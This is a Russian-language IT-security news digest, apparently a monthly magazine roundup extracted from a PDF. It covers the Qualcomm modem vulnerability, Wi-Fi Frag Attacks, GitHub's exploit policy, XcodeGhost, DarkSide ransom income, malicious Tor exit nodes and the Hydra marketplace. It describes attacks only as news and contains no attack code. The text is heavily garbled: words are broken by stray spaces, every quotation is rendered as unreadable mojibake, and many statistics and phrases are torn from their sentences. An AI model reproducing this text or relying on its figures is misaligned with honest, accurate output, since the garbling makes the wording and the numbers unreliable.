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В этом месяце: Google подала иск к Рос комнад зору, Павел
Дуров называ ет вла дель цев iPhone рабами Apple, GitHub
пла ниру ет огра ничить раз мещение экс пло итов, в модемах
Qualcomm и устрой ствах с под дер жкой Wi-Fi обна руже ны
уяз вимос ти, Cloudare хочет ока зать ся от исполь зования
CAPTCHA, а так же дру гие инте рес ные события месяца.

УДАЛЕНИЕ FLASH
Сог ласно дав но про думан ному про изво дите лями пла ну, с нас тупле- 
нием 2021 года под дер жка Adobe Flash Player была окон чатель но прек- 
ращена. Это зна чит, что ком пания Adobe офи циаль но прек ратила рас- 
простра нять Flash Player и обновлять его, а раз работ чики бра узе ров перес- 
тали под держи вать пла гины Flash. Кро ме того, в код Flash Player заранее
внед рили ава рий ный «рубиль ник», который пре дот вра щает запуск любого
Flash-кон тента начиная с 12 янва ря 2021 года.

В прош лом году, готовясь к окон чатель ному прек ращению под дер жки
Flash Player, ком пания Microsoft соз дала обновле ние KB4577586, пред назна- 
чен ное для уда ления Adobe Flash из всех вер сий Windows 8, 10 и Windows
Server, а так же пре дот вра щения его пов торной уста нов ки.

Тог да обновле ние было дос тупно толь ко через офи циаль ный каталог и его
нель зя было уда лить пос ле уста нов ки. Впро чем, обновле ние не было обя- 
затель ным, хотя в фев рале его  на некото рых
машинах под управле нием Windows 10.

при нуди тель но раз верну ли

В целом в ком пании обе щали, что в начале 2021 года это обновле ние рас- 
простра нят через WSUS и Windows Update и сде лают обя затель ным. Теперь
в бло ге Microsoft появи лось сооб щение, в котором рас кры вают ся даль- 
нейшие пла ны отно ситель но KB4577586.

С июня 2021 года Microsoft пла ниру ет вклю чить KB4577586 в сос тав опци- 
ональ ных накопи тель ных preview-обновле ний для Windows 10 1809 и более
поз дних вер сий. В июле KB4577586 вой дет уже в обя затель ные пакеты
накопи тель ных обновле ний для Windows 10 1507 и более поз дних вер сий,
а так же в Windows Server 2012, Windows 8.1 и Windows Embedded 8 Standard.
Так же ста ло извес тно, что в Windows 21H1 обновле ние KB4577586 будет уста- 
нав ливать ся авто мати чес ки, то есть пла гин Adobe Flash Player будет авто- 
мати чес ки уда лен.

Вряд ли окон чатель ное уда ление Flash Player будет замече но поль зовате- 
лями, ведь уже сей час он фак тичес ки бес полезен и не может исполь зовать ся
для отоб ражения кон тента.

 РОССИЯН ОТКЛАДЫВАЮТ ОБНОВЛЕНИЯ55%

По дан ным «Лабора тории Кас пер ско го», боль ше полови ны рос сиян ( ), уви дев уве дом- 
ление о необ ходимос ти перезаг рузить устрой ство, что бы обно вить его, нажима ют «Напом нить
поз же».

55%

Зна читель ная часть ( ) тех, кто про сит напом нить поз же, обыч но обновля ет устрой ство
в кон це дня,  — в течение нес коль ких дней,  — в течение нес коль ких часов. 

 хотя бы раз откла дывал обновле ния на нес коль ко месяцев.

41%
24% 17% Каж дый

десятый

УЯЗВИМОСТЬ 
QUALCOMM MSM
Бо лее тре ти всех смар тфо нов в мире ока зались под верже ны новой уяз- 
вимос ти в Mobile Station Modem (MSM) про изводс тва Qualcomm. Этот баг
дает зло умыш ленни кам дос туп к исто рии вызовов, SMS-сооб щени ям и даже
поз воля ет под слу шивать раз говоры.

MSM пред став ляет собой SoC, который поз воля ет устрой ствам под клю- 
чать ся к мобиль ным сетям. Он был раз работан еще в 1990-х годах и с тех пор
пос тоян но совер шенс тво вал ся, к при меру добав лялась под дер жка 2G, 3G,
4G и 5G. В ито ге на сегод няшний день MSM ста ла одной из самых рас- 
простра нен ных тех нологий в мире, осо бен но сре ди про изво дите лей смар- 
тфо нов. В час тнос ти, чипы Qualcomm MSM исполь зуют ся в смар тфо нах
Google, Samsung, LG, Xiaomi, One Plus и мно гих дру гих про изво дите лей.

Эк спер ты ком пании Check Point обна ружи ли уяз вимость в Qualcomm MSM
Interface (QMI) — про токо ле, который поз воля ет SoC обме нивать ся дан ными
с опе раци онной сис темой смар тфо на. Эта проб лема получи ла иден тифика- 
тор CVE-2020-11292.

По дан ным спе циалис тов, модифи циро ван ные пакеты Type-Length-Value
(TLV), получен ные MSM через интерфейс QMI, могут спро воци ровать ошиб ку
пов режде ния информа ции в памяти (перепол нение буфера), что в ито ге поз-
волит зло умыш ленни кам выпол нить собс твен ный код на устрой стве.

«Çëî óìûø ëåííè êè ìîã ëè èñïîëü çîâàòü ýòó óÿç âèìîñòü äëÿ âíåä ðåíèÿ

âðå äîíîñ íîãî êîäà, â èòî ãå ïîëó÷àÿ äîñ òóï ê èñòî ðèè âûçîâîâ è SMS-

ñîîá ùåíè ÿì íà óñòðîé ñòâå, à òàê æå âîç ìîæíîñòü ïðîñ ëóøèâàòü ðàç- 

ãîâîðû ïîëü çîâàòå ëÿ. Òàê æå õàêåðû ìîã ëè èñïîëü çîâàòü óÿç âèìîñòü

äëÿ ðàç áëî êèðîâ êè SIM-êàð òû óñòðîé ñòâà, òåì ñàìûì ïðå îäî ëåâàÿ

îãðà íè÷å íèÿ, íàëàãà åìûå ïîñ òàâùè êîì óñëóã», — ðàñ ñêà çûâà þò

â Check Point.

От чет спе циалис тов гла сит, что экс плу ата ция уяз вимос ти невоз можна, если
скры вать иска жен ные пакеты TLV внут ри сто рон них при ложе ний, работа ющих
в ОС (осо бен но на Android), ког да ком понент MSM защищен SELinux. Одна ко
отме чает ся, что пакет TLV может быть передан пос редс твом сотовой свя зи
или муль тимедий ного кон тента, отправ ленно го на устрой ство. При рас паков- 
ке такой пакет может дос тичь уяз вимого интерфей са QMI.

Хо тя в нас тоящее вре мя око ло 40% всех смар тфо нов в мире исполь зуют
чипы Qualcomm MSM, из них лишь око ло 30% уяз вимы для опи сан ных экспер- 
тами атак.

Пред ста вите ли Check Point сооб щили СМИ, что уве доми ли инже неров
Qualcomm о проб леме еще в прош лом году, и в декаб ре 2020 года ком пания
выпус тила патч для MSM, который был рас простра нен сре ди про изво дите лей
смар тфо нов. Хотя Qualcomm заяв ляет, что уве доми ла всех про изво дите лей
об ошиб ке, иссле дова телям неиз вес тно, какие имен но ком пании уже про пат- 
чили свои про дук ты, а какие нет.

ФБР: КОЛИЧЕСТВО КИБЕРПРЕСТУПЛЕНИЙ РАСТЕТ
Эк спер ты Цен тра при ема жалоб на мошен ничес тво в интерне те (IC3) при ФБР опуб ликова ли
отчет о кибер прес тупле ниях за пос ледние 14 месяцев.

В пери од с мар та 2020 года по май 2021 года наб людал ся рез кий при рост жалоб, количес тво
которых уве личи лось более чем на .1 000 000

IC3 начала регис три ровать жалобы на кибер прес тупле ния еще в 2000 году, и экспер там пот- 
ребова лось , что бы дой ти до отметки в  жалоб в год. И с тех пор на каж дый
допол нитель ный мил лион жалоб в сред нем ухо дило  месяца.

7 лет 1 000 000
29,5

Ны неш ний рез кий при рост ФБР объ ясня ет тем, что люди ста ли боль ше работать уда лен но
из-за пан демии COVID-19, а прес тупни ки не пре мину ли исполь зовать это обсто ятель ство
для темати чес ких атак.

Тре мя основны ми типами прес тупле ний, зарегис три рован ными в 2020 году, были ,
, а так же .

фи шинг
мо шен ничес тво с пла тежа ми и дос тавкой вы мога тель ство

GITHUB БЕЗ
ЭКСПЛОИТОВ
Раз работ чики GitHub решили обсу дить с ИБ-сооб щес твом серию изме нений
в полити ках сай та, которые опре деля ют, как имен но ком пания борет ся с заг- 
ружен ными на плат форму мал варью и экс пло ита ми.

Пред лага емые изме нения под разуме вают, что GitHub уста новит более
чет кие пра вила отно ситель но того, что дол жно счи тать ся кодом, который
исполь зует ся для иссле дова ния уяз вимос тей, а что счи тает ся кодом, которым
зло умыш ленни ки могут зло упот реблять для нас тоящих атак. Проб лема в том,
что сей час эта грань раз мыта. Любой может заг рузить на GitHub мал варь
или экс пло ит, соп роводив помет кой «для иссле дова ния безопас ности»,
и сот рудни ки GitHub, ско рее все го, не тро нут такой код.

Те перь GitHub про сит вла дель цев про ектов чет ко обоз начать при роду сво- 
его кода и ука зывать, может ли тот исполь зовать ся для при чине ния вре да
дру гим. Так же сот рудни ки GitHub хотят иметь воз можность вме шивать ся
в ситу ацию в опре делен ных слу чаях, в час тнос ти огра ничи вать или уда лять
код, пред назна чен ный для ИБ-иссле дова ний, если извес тно, что тот уже при- 
меня ется для реаль ных атак.

«Ýòè èçìå íåíèÿ… íàï ðàâëå íû íà óñòðà íåíèå äâóñ ìûñëåí íîñòè â òàêèõ

òåð ìèíàõ, êàê „ýêñ ïëî èò“, „âðå äîíîñ íîå ÏÎ“ è „äîñ òàâêà“, ÷òî áû îáåñ- 

ïå÷èòü ÿñíîñòü íàøèõ îæè äàíèé è íàìåðå íèé», — ïèøåò Ìàéê Õýí ëè

(Mike Hanley), äèðåê òîð ïî áåçîïàñ íîñòè GitHub.

Про исхо дящее — пря мое следс твие скан дала, беруще го начало в мар те
текуще го года. Напом ню, что тог да ком пания Microsoft, которой при над лежит
GitHub, сооб щила о серии уяз вимос тей ProxyLogon, которые исполь зовались
хакер ски ми груп пами для взло ма сер веров Exchange по все му миру.

Про изво дитель ОС выпус тил пат чи, а неделю спус тя вьет нам ский
ИБ-иссле дова тель отре вер сил эти исправ ления и соз дал на их осно ве PoC-
экс пло ит для ProxyLogon, который потом заг рузил на GitHub. Через счи таные
часы пос ле заг рузки кода на GitHub коман да безопас ности Microsoft вме- 
шалась и  экспер та, что выз вало вол ну воз мущения в отрасли
и кри тику в адрес Microsoft.

уда лила PoC

Хо тя тог да Microsoft прос то стре милась защитить от атак вла дель цев сер- 
веров Exchange, а GitHub в ито ге поз волила иссле дова телю и дру гим лицам
пов торно заг рузить код экс пло ита на сайт, теперь в GitHub все же хотят устра- 
нить все двус мыслен ности в полити ках сво ей плат формы, что бы подоб ное
боль ше не пов торялось.

По ка неяс но, пла ниру ет ли GitHub прис лушивать ся к получен ному
от людей фид бэку, или ком пания в любом слу чае одоб рит пред ложен ные
изме нения, таким обра зом получив воз можность вме шивать ся в ситу ацию,
если соч тет, что кон крет ный код может исполь зовать ся для атак.

Пред ложение ком пании уже выз вало жар кие дебаты в сети, и мне ния раз- 
делились. Некото рые поль зовате ли сог ласны с пред лага емы ми изме нени- 
ями, тог да как дру гих устра ивает текущее положе ние вещей: ког да люди
могут сооб щать о вре донос ном коде на GitHub, что бы его уда лили, но при
этом сама плат форма не тро гает PoC-экс пло иты, даже если ими уже зло упот-
ребля ют. Дело в том, что экс пло иты час то репос тят на дру гих плат формах,
поэто му уда ление PoC имен но с GitHub вов се не озна чает, что зло умыш- 
ленни ки не смо гут ими вос поль зовать ся.

ПАВЕЛ ДУРОВ: «ВЛАДЕНИЕ IPHONE ДЕЛАЕТ ВАС
ЦИФРОВЫМ РАБОМ APPLE»
Па вел Дуров про дол жает выс тупать с кри тикой в адрес ком пании Apple. На этот раз он опуб- 
ликовал сооб щение в сво ем Telegram-канале, написан ное пос ле выхода статьи The New York
Times, в которой сооб щалось, что Apple учас тву ет в круп номас штаб ной кам пании по слеж ке
и цен зуре в Китае.

→ «Это печаль но, но не уди витель но: круп ные тех нологи чес кие ком пании час то пред почита ют
при быль сво бодам. Apple очень эффектив но реали зует свою биз нес-модель, осно ван ную
на про даже уста рев шего обо рудо вания по завышен ной цене кли ентам, запер тым в их эко сис- 
теме.

Каж дый раз, ког да мне при ходит ся исполь зовать iPhone для тес тирова ния нашего при ложе- 
ния для iOS, я чувс твую, что попадаю в сред невековье. Дис плеи iPhone 60 Гц не могут кон- 
куриро вать с дис пле ями 120 Гц сов ремен ных телефо нов на Android, которые под держи вают
более плав ную ани мацию.

Од нако худ шая часть тех нологий Apple — это не более гро моз дкие устрой ства или уста рев- 
шее обо рудо вание. Вла дение iPhone дела ет вас циф ровым рабом Apple: вам раз решено
исполь зовать лишь те при ложе ния, которые Apple поз воля ет уста нав ливать через их App Store,
и вы можете исполь зовать толь ко iCloud от Apple, что бы прос то сде лать резер вную копию сво- 
их дан ных.

Не уди витель но, что тотали тар ный под ход Apple так ценит ся Ком мунис тичес кой пар тией
Китая, которая, бла года ря Apple, име ет пол ный кон троль над при ложе ниями и дан ными всех
сво их граж дан, которые полага ются на iPhone»
— Павел Дуров в сво ем Telegram-канале

FRAG ATTACKS
Из вес тный ИБ-эксперт Мэти Ван хоф (Mathy Vanhoef) сооб щил об обна руже- 
нии целого набора уяз вимос тей Frag Attacks ( mentation and aggregation

), перед которы ми уяз вимы все устрой ства с под дер жкой Wi-Fi
(компь юте ры, смар тфо ны и умные девай сы), выпущен ные пос ле 1997 года.

Frag

attacks

На пом ню, что ранее имен но Ван хоф обна ружил такие опас ные уяз вимос- 
ти, как  и , что поз волило зна читель но улуч шить безопас- 
ность стан дарта Wi-Fi.

KRACK Dragonblood

Проб лемы Frag Attacks поз воля ют зло умыш ленни ку, находя щему ся в ради- 
усе дей ствия Wi-Fi, собирать информа цию о вла дель це устрой ства и выпол- 
нять вре донос ный код. Хуже того, уяз вимос ти акту аль ны даже в том слу чае,
если активна защита WEP и WPA. Ван хоф пишет, что три уяз вимос ти —
это недос татки дизай на стан дарта Wi-Fi 802.11, которые свя заны с фун кци ями
агре гиро вания и фраг мента ции фрей мов, а дру гие баги — это проб лемы
прог рамми рова ния в раз личных Wi-Fi-про дук тах.

«Ýêñïå ðèìåí òû ïîêàçû âàþò, ÷òî êàæ äûé ïðî äóêò Wi-Fi óÿç âèì

ïî ìåíü øåé ìåðå ïåðåä îäíîé ïðîá ëåìîé, à áîëü øèíñ òâî ïðî äóê òîâ

óÿç âèìû ñðà çó ïåðåä íåñ êîëü êèìè, — çàÿâ ëÿåò ýêñïåðò. — Îáíà ðóæåí- 

íûå óÿç âèìîñ òè çàò ðàãèâà þò âñå ñîâ ðåìåí íûå ïðî òîêî ëû áåçîïàñ- 

íîñòè Wi-Fi, âêëþ ÷àÿ ïîñ ëåäíþþ ñïå öèôè êàöèþ WPA3. Çàò ðîíóò äàæå

îðè ãèíàëü íûé ïðî òîêîë áåçîïàñ íîñòè Wi-Fi, WEP. Ýòî îçíà ÷àåò, ÷òî

íåêîòî ðûå èç îáíà ðóæåí íûõ íåäîñ òàòêîâ áûëè ÷àñòüþ Wi-Fi ñ ìîìåí òà

åãî ïîÿâ ëåíèÿ â 1997 ãîäó!»

Как было в слу чае с KRACK и Dragonblood, Ван хоф сра зу сооб щил о сво их
выводах инже нерам WiFi Alliance. В течение пос ледних девяти месяцев Ван- 
хоф и спе циалис ты WiFi Alliance сов мес тно работа ли над исправ лени ем стан- 
дартов Wi-Fi и сот рудни чали с пос тавщи ками устрой ств, что бы ско рее выпус- 
тить пат чи. Спи сок про изво дите лей и раз работ чиков, уже под готовив ших
заяв ления и бюл летени безопас ности, мож но най ти .здесь

Впро чем, есть и хорошая новость: Ван хоф обна ружил, что боль шинс твом
уяз вимос тей Frag Attacks труд но вос поль зовать ся, так как это пот ребу ет вза- 
имо дей ствия с поль зовате лем или же ата ка воз можна толь ко при исполь- 
зовании весь ма нес тандар тных сетевых нас тро ек.

На сво ем сай те Ван хоф  ряд защит ных мер, которые сто ит
пред при нимать поль зовате лям. Самая прос тая защита — обес печение дос- 
тупа к сай там толь ко через HTTPS, что бло киру ет ата ки.

пе речис ляет

ШПИОНСКОЕ ПО В РОССИИ
Ком пания Avast про ана лизи рова ла рас простра нение шпи онских и стал кер ских при ложе ний
в 15 стра нах мира в 2020 году. Увы, Рос сия заняла  в этом рей тин ге.2-е мес то

Ис поль зование стал кер ских при ложе ний (в том чис ле уста нов ленных незамет но от жер твы)
в Рос сии в пер вом квар тале 2021 года уве личи лось на  по срав нению с тем же пери одом
прош лого года.

390%

Рос сия так же  стран, в которых чаще все го обна ружи вали шпи онские прог- 
раммы. Пер вое мес то занима ет , третье — .

вош ла в трой ку
Ин дия США

АТАКА МАЛВАРИ
XCODEGHOST
В рам ках анти моно поль ного судеб ного раз биратель ства меж ду ком пани ями
Epic Games и Apple были обна родо ваны докумен ты, сог ласно которым мал- 
варь XcodeGhost, обна ружен ная в 2015 году, сум марно ата кова ла
более 128 мил лионов поль зовате лей iOS. Напом ню, что в прош лом году про- 
изво дитель игр подал иск про тив Apple, так как пос ледняя уда лила игру
Fortnite из App Store яко бы из-за наруше ния усло вий догово ра.

Ин форма ция о XcodeGhost содер жалась в элек трон ных пись мах, которые
теперь ста ли дос тоянием общес твен ности. В них сот рудни ки Apple обсужда- 
ют инци дент с XcodeGhost и воз можные шаги, которые ком пания дол жна
пред при нять.

Мал варь XcodeGhost впер вые была замече на в 2015 году, ког да обна- 
ружи лось, что хакеры под делали инс тру мент для раз работ чиков Xcode,
выпус тив собс твен ную вер сию, получив шую имя XcodeGhost. В резуль тате
все при ложе ния, соз данные с помощью этой вер сии, ока зались небезо пас ны
для поль зовате лей. Как вско ре выяс нилось, таких при ложе ний нас читыва лось

.бо лее 4000
Тог да Apple уда лила вре донос ные при ложе ния из App Store и опуб ликова- 

ла для раз работ чиков инс трук ции, которые те мог ли исполь зовать для опре- 
деле ния легитим ности сво ей вер сии Xcode.

Те перь выяс нилось, что, ког да Apple выяви ла более 2500 вре донос ных
при ложе ний, они были заг ружены из App Store более 203 мил лионов раз.
По под сче там спе циалис тов ком пании, от них пос тра дали при мер но 128 мил- 
лионов поль зовате лей по все му миру. Боль ше полови ны пос тра дав ших
находи лись в Китае, но так же Apple выяви ла 18 мил лионов пос тра дав ших
в США.

В обна родо ван ной перепис ке сот рудни ки ком пании обсужда ют, сле дует
ли нап рямую уве дом лять все 128 мил лионов человек о проб леме, и, похоже,
в ито ге в Apple при няли решение это го не делать. Пред ста вите ли Apple сооб- 
щили изда нию SecurityWeek, что пос тоян но информи руют сво их поль зовате- 
лей о проб леме и пре дос тавля ют им всю необ ходимую информа цию, одна ко
в ком пании не уточ нили, уве дом ляли ли пос тра дав ших об ата ках XcodeGhost
нап рямую.

 ДОЛЛАРОВ НА ВЫМОГАТЕЛЬСТВЕ90 000 000

Ана лити ки ком пании Elliptic, занима ющей ся блок чейн-ана лизом, под счи тали, что опе рато ры
вымога теля DarkSide, который был акти вен с прош лого года, успе ли «зарабо тать» на выкупах
око ло  дол ларов. Выкупы были перечис лены прес тупни кам с  раз личных кошель- 
ков.

90 000 000 47

Груп па ата кова ла не менее  ком паний, из которых при мер но  зап латили выкуп. Сред ний
пла теж сос тавлял  дол ларов.

99 47%
1 900 000

DarkSide работал по модели вымога тель как услу га (RaaS), а зна чит, раз работ чики шиф роваль- 
щика оставля ли себе око ло  вып лачен ных выкупов или , если выкуп пре вышал

 дол ларов.
25% 10%

5 000 000

Фак тичес ки хакеры «зарабо тали» око ло  дол ларов, а осталь ные средс тва оста лись
в руках «пар тне ров» груп пы, которые арен довали мал варь, а затем раз ворачи вали ее в сетях
взло ман ных ком паний.

15 000 000

CLOUDFLARE ПРОТИВ
CAPTCHA
В бло ге ком пании Cloudare появи лась любопыт ная запись, авто ром которой
выс тупил инже нер ком пании Тибо Менье (Thibault Meunier). Спе циалист приз- 
нает ся, что все в ком пании ненави дят CAPTCHA, и он под счи тал, что рядовой
интернет-поль зователь видит CAPTCHA при мер но один раз в десять дней,
и умно жил это на 4,6 мил лиар да поль зовате лей в мире. Так как в сред нем
на решение одной CAPTCHA ухо дит 32 секун ды, в ито ге поль зовате ли сум- 
марно тра тят на это бес полез ное, по мне нию Менье, занятие око ло 500 лет
ежед невно.

«Ñåãîä íÿ ìû çàïóñ êàåì ýêñïå ðèìåíò, ÷òî áû ïîêîí ÷èòü ñ ýòèì áåçóìè- 

åì. Ìû õîòèì ïîë íîñòüþ èçáà âèòü ñÿ îò CAPTCHA. Èäåÿ äîâîëü íî

ïðîñ òà: íàñ òîÿùèé ÷åëîâåê äîë æåí èìåòü âîç ìîæíîñòü ïðîñ òî ïðè êîñ- 

íóòü ñÿ ê ñâî åìó óñòðîé ñòâó èëè ïîñ ìîòðåòü íà íåãî, ÷òî áû äîêàçàòü,

÷òî îí ÷åëîâåê, íå ðàñ êðû âàÿ ïðè ýòîì ñâî åé ëè÷ íîñòè. <…> Ñåãîä- 

íÿøíèé äåíü çíà ìåíó åò íà÷àëî êîí öà äëÿ ïîæàð íûõ ãèä ðàíòîâ,

ïåøåõîä íûõ ïåðåõî äîâ è ñâå òîôî ðîâ â èíòåðíå òå», — ïèøåò Ìåíüå.

Как мож но понять из при веден ной выше цитаты, в Cloudare хотят исполь- 
зовать для иден тифика ции людей раз личные клю чи безопас ности. Начало
это му экспе римен ту положат USB-клю чи (YubiKey, HyperFIDO и Thetis FIDO
U2F), одна ко в пос те отме чает ся, что в наше вре мя смар тфо ны и компь юте ры
все чаще осна щают ся подоб ными воз можнос тями по умол чанию и со вре- 
менем экспе римент может быть рас ширен.

Вот как Менье опи сыва ет крип тогра фичес кую аттеста цию лич ности, осно- 
ван ную на Web Authentication (WebAuthn) Attestation AP. Эту тех нологию под- 
держи вают любые бра узе ры в Ubuntu, macOS, Windows и iOS 14.5, а так же
Chrome на Android v.10 и выше.

Поль зователь получа ет дос туп к сай ту, защищен ному крип тогра фичес кой
аттеста цией лич ности, нап ример cloudarechallenge.com.

•

Сер вер Cloudare под верга ет сом нению, [что это не робот].•
Поль зователь нажима ет «Я человек» (бета) и получа ет зап рос на исполь- 
зование устрой ства безопас ности.

•

Поль зователь реша ет исполь зовать аппа рат ный ключ безопас ности.•
Поль зователь под клю чает устрой ство к сво ему компь юте ру или прик- 
ладыва ет его к смар тфо ну (исполь зует NFC).

•

Крип тогра фичес кое под твержде ние отправ ляет ся в Cloudare, что поз- 
воля ет поль зовате лю прой ти верифи кацию.

•

Продолжение статьи →
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В ито ге ожи дает ся, что вся про цеду ра зай мет око ло пяти секунд вре мени
и три кли ка мышью. При этом кон фиден циаль ность поль зовате лей будет соб- 
людена. Дело в том, что такая аттеста ция лич ности не свя зана с кон крет ным
поль зователь ским устрой ством. Все про изво дите ли устрой ств, которым
доверя ет Cloudare, — это учас тни ки FIDO Alliance, то есть любой аппа рат ный
ключ име ет общий иден тифика тор с дру гими клю чами той же пар тии, и, с точ- 
ки зре ния Cloudare, любой ключ выг лядит так же, как и все осталь ные клю чи
в пар тии.

По ка Cloudare намере на исполь зовать крип тогра фичес кую аттеста цию
лич ности сре ди неболь шого чис ла поль зовате лей в англо языч ных реги онах,
что бы в целом про верить осу щес тви мость сво ей идеи.

WINDOWS 7 ВСЕ ЕЩЕ ЗДЕСЬ
Ана лити ки «Лабора тории Кас пер ско го» под счи тали, что на 36% компь юте ров в Рос сии все
еще уста нов лена опе раци онная сис тема Windows 7, под дер жка которой была прек ращена
в янва ре 2020 года. Доля тех, кто исполь зует Windows 7, сре ди домаш них поль зовате лей сос- 
тавля ет 37%, сре ди ком паний малого и сред него биз неса — 34%, а мик робиз неса — 35%.

→ «Мно гие поль зовате ли не спе шат уста нав ливать обновле ния на опе раци онную сис тему,
опа саясь воз можных изме нений в интерфей се и фун кци ональ нос ти или прос то не желая тра- 
тить на это цен ное рабочее вре мя. При этом имен но обновле ния поз воля ют испра вить порож- 
дающие уяз вимос ти ошиб ки, с помощью экс плу ата ции которых в сис тему могут про ник нуть
зло умыш ленни ки. Обновлять ся нуж но сво евре мен но, ни в коем слу чае не откла дывая в дол гий
ящик уста нов ку как минимум кри тичес ких апдей тов.

Нуж но понимать, что, как толь ко информа ция об уяз вимос ти ста новит ся извес тна широкой
пуб лике, мно жес тво зло умыш ленни ков начита ют активно исполь зовать ее для атак, рас счи- 
тывая как раз на тех, кто по каким-то при чинам не смог вов ремя обно вить ся. А если вам извес- 
тно, что ОС ско ро будет сня та с под дер жки, необ ходимо зап ланиро вать дей ствия по ее замене
заб лагов ремен но, вклю чая замену железа, если дру гого выхода нет. Исполь зовать в работе
не получа ющие обновле ния сис темы — все рав но что оставлять дом с незапер той дверью: рано
или поз дно в нее зай дет кто-то, кому вы не будете рады»
— Олег Горобец, эксперт «Лабора тории Кас пер ско го»

NVIDIA ПРОТИВ
МАЙНЕРОВ
Ком пания Nvidia объ яви ла, что вдвое понизит хеш рейт для май нин га крип- 
товалю ты Ethereum на новых виде окар тах GeForce RTX 3080, 3070 и 3060 Ti,
что бы умень шить их прив лекатель ность для май неров.

Ком пания обе щает снаб дить эти вер сии виде окарт, отгруз ка которых нач- 
нется в кон це мая, спе циаль ной мар киров кой Lite Hash Rate или LHR, которую
мож но будет уви деть на короб ке и в опи сании. На выпущен ные ранее кар ты
эти огра ниче ния рас простра нять ся не будут.

По сло вам Мэт та Вуб блин га, гла вы Nvidia по мар кетин гу GeForce, таким
обра зом ком пания хочет гаран тировать, что виде окар ты будут исполь зовать- 
ся гей мерами по все му миру, а не осе дать на май нин говых фер мах.

На пом ню, что в фев рале 2021 года кар там GeForce RTX 3060 тоже при- 
нуди тель но ухуд шили май нин говую про изво дитель ность. Тог да хеш рейт
для добычи Ethereum так же был занижен в два раза и ком пания анон сирова ла
спе циаль ную линей ку карт для май нин га — NVIDIA CMP (Cryptocurrency Mining
Processor). У таких карт не будет виде овы ходов, а так же они получат более
низ кое пиковое нап ряжение ядра и час тоту, что повысит их энер гоэф фектив- 
ность для добычи крип товалю ты.

По дан ным пор тала 3D Center, который опи рает ся на ста тис тику про даж
в роз ничных магази нах Гер мании и Авс трии, сей час в Евро пе роз ничные цены
на виде окар ты 30-й серии пре выша ют рекомен дован ные в три раза. Похожая
ситу ация наб люда ется и с GPU ком пании AMD, цены на которые завыше ны
в сред нем в два раза.

БЕЗ КИБЕРБЕЗОПАСНОСТИ
Оп рос «Лабора тории Кас пер ско го» показал, что толь ко в  круп ных ком паний в Рос сии есть
выделен ный отдел кибер безопас ности и лишь в  орга низа ции — собс твен- 
ный центр монито рин га и реаги рова ния на киберин циден ты (SOC).

31%
каж дой десятой

Толь ко в  круп ных рос сий ских ком паний есть отдел кибер развед ки (Threat Intelligence) и в
 — отдел ана лиза вре донос ных прог рамм.

3%
2%

При этом  опро шен ных ожи дают, что в сле дующие три года рас ходы на информа цион ную
безопас ность в их ком пании вырас тут.

58%

ВРЕДОНОСНЫЙ TOR
На про тяже нии пос ледних 16 месяцев неиз вес тные зло умыш ленни ки внед- 
ряют вре донос ные сер веры в сеть Tor, а затем с их помощью перех ватыва ют
свя зан ный с крип товалю той тра фик и выпол няют ата ки типа SSL stripping.

Эта кам пания началась еще в янва ре 2020 года, и ее суть зак лючалась
в добав лении в сеть Tor сер веров, которые помеча лись как выход ные узлы (то
есть сер веры, через которые тра фик покида ет сеть Tor и пов торно попада ет
в обще дос тупный интернет). С тех пор зло умыш ленни ки внед рили в сеть Tor
тысячи вре донос ных сер веров и с их помощью иден тифици рова ли тра фик,
нап равля емый на сай ты крип товалют ных мик серов, а затем устра ива ли ата ки
типа SSL stripping, то есть осу щест вля ли даун грейд тра фика поль зовате лей
с HTTPS до менее безопас ного HTTP. Пос ле даун грей да прес тупни ки получа- 
ли воз можность заменять адре са крип товалют ных кошель ков сво ими собс- 
твен ными и перех ватывать тран закции.

Впер вые подоб ные ата ки  в августе прош лого
года ИБ-спе циалис том и опе рато ром сер вера Tor, извес тным под псев- 
донимом Nusenu. Тог да он сооб щал, что в луч шие дни ата кующим уда валось
кон тро лиро вать 23,95% всех выход ных узлов Tor.

бы ли задоку мен тирова ны

Те перь Nusenu опуб ликовал новое иссле дова ние, в котором пишет, что,
хотя про исхо дящее дав но пре дали огласке, зло умыш ленни ки все рав но про- 
дол жают свои ата ки. Хуже того, ата ки лишь уси лились: в фев рале 2021 года
прес тупни ки даже побили собс твен ный «рекорд» и отве чали за 27% всех
выход ных узлов Tor.

Хо тя в ито ге вто рая вол на атак была обна руже на, а вре донос ные сер веры
уда лены из сети Tor, до это го инфраструк тура зло умыш ленни ков работа ла
и перех ватыва ла тра фик поль зовате лей на про тяже нии дол гих недель
или даже месяцев. Дело в том, что хакеры внед ряли свои сер веры в сеть
неболь шими пор циями, накап ливая мощ ную инфраструк туру и не прив лекая
к себе вни мания.

Этой так тике хакеры изме нили лишь в текущем месяце: ког да их
инфраструк тура сно ва была отклю чена, они попыта лись вос ста новить все
сер веры одновре мен но. Эта ата ка была обна руже на в течение суток, ведь
одно момен тное уве личе ние количес тва выход ных узлов
с 1500 до 2500 не мог ли не заметить.

Хо тя теперь более 1000 сер веров отклю чены, эксперт пишет, что по сос- 
тоянию на 5 мая 2021 года зло умыш ленни ки все еще кон тро лиру ют
от 4 до 6% выход ных узлов Tor, а ата ки с исполь зовани ем SSL stripping про- 
дол жают ся.

МИЛЛИАРДЫ HYDRA
Ком пании Flashpoint и Chainalysis под готови ли сов мес тный отчет, пос вящен ный работе под- 
поль ного мар кет плей са Hydra. В 2015 году, сра зу пос ле запус ка, Hydra была извес тна как пло- 
щад ка по про даже нар котиков, но со вре менем ресурс рас ширил ся, и там дав но тор гуют
самыми раз ными нелегаль ными товара ми и услу гами, вклю чая дан ные ворован ных карт, под- 
дель ные докумен ты, фаль шивые день ги, хакер ские услу ги и мно гое дру гое.

За пос ледние три года Hydra рос ла при мер но на  за год, что сде лало ее одной
из популяр ней ших кри миналь ных тор говых пло щадок наших дней.

624%

Объ емы тран закций мар кет плей са тоже рас тут: если в 2016 году обо рот пло щад ки сос тавлял
око ло  дол ларов в год, то теперь он дос тиг отметки в  дол ларов
за год.

9  400  000 1  370  000  000

Ус пех Hydra иссле дова тели объ ясня ют рядом фак торов. Один из них — стро гие пра вила ресур- 
са. К при меру, с лета 2018 года про давец дол жен совер шить не менее  успешных сде лок,
преж де чем ему будет раз решено снять средс тва. Так же необ ходимо иметь кошелек, содер- 
жащий не менее  США.

50

10 000 дол ларов

Тран закции Hydra в основном обра баты вают так называ емые «высоко рис ковые» ресур сы, игно- 
риру ющие Know Your Customer (KYC). Боль шинс тво из них находит ся в Рос сии, и лишь неболь- 
шой про цент тран закций мар кет плей са про ходит через крип товалют ные плат формы, свя зан ные
с закон ной тор говлей.

В общей слож ности было зарегис три рова но более  уни каль ных депозит ных адре сов
